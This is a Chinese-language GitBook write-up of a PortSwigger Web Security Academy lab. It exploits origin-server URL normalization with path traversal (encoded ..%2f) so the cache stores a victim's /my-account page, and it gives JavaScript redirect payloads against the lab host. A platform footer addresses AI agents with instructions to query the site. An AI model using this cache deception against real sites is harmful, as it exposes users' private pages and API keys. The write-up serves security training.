> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/web-cache-deception/cheating-cache-via-origin-server-side-normalization.md).

# 通过源站服务器端规范化欺骗缓存

面向 PortSwigger Web Security Academy 实验室的通过源站服务器端规范化欺骗缓存笔记，包括利用流程、载荷测试、Burp Suite 验证和修复背景。

### 利用源服务器规范化实施 Web 缓存欺骗

#### 实验目标

从用户处获取 \*\*API 密钥\*\* **carlos** 通过滥用一个 **缓存** 由原始服务器对 URL 进行规范化所触发的行为 **原始服务器**.

#### 访问

* 可通过以下方式连接： **wiener:peter**
* 实验室提供了一个分隔符列表（delimiter list），但这里的攻击主要基于 `../` 以及编码。

### 1）观察

* 在 **`/resources`** 目录中，有一个活跃的 **缓存**.
* 因此，思路是传递一个敏感页面（**`/my-account`**）作为一个“可缓存”的资源，使用一个 **路径穿越** 这将会被 **规范化** 由原始服务器进行。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f05f71d80004f4fb8a48f9aeef99925d19ad847a%2Fimage%20(81).png?alt=media" alt=""><figcaption></figcaption></figure>

测试示例：

```bash
/resources/../my-account
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d1db5915797b8b80130c002d7bd55bf2347ce81f%2F%7B7AF1FB34-00D7-44D5-A8E7-7189C7B78048%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 2）利用

#### 思路

1. 强迫受害者加载一个以以下内容开头的 URL： **`/resources/`** （以触发缓存）。
2. 返回到 **`/my-account`** 通过 `../` （或其编码变体）。
3. 将答案以某个键存入缓存，然后检索隐藏页面。

{% code overflow="wrap" %}

```javascript
<script>
document.location = "https://0ad700ba030812cd804d126b00d800a7.web-security-academy.net/resources/../my-account/?jordan";
</script>
```

{% endcode %}

根据你的测试： **它不起作用** 在这种状态下

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b56646b117fad795620c5b0cca12cf0ebe6e400%2F%7BF01E230B-E798-4C4B-9FBB-B040ADAF802D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 3）变通：对后端进行编码

你指出你需要 **对……进行 URL 编码** 分隔符，以使原始规范化正常工作。

所使用的 URL：

```bash
/resources/..%2fmy-account?jordan
```

最终载荷：

```javascript
<script>
document.location = "https://0ad700ba030812cd804d126b00d800a7.web-security-academy.net/resources/..%2fmy-account?jordan";
</script>
```

结果：服务器 **将……解释为** 按预期对 URL 进行解释（规范化），从而继续进行缓存攻击

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8e34be0334326b1aa7e514d10e81751596504488%2F%7B27976277-F399-4799-B5A7-CD12ADDA2FB9%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/web-cache-deception/cheating-cache-via-origin-server-side-normalization.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
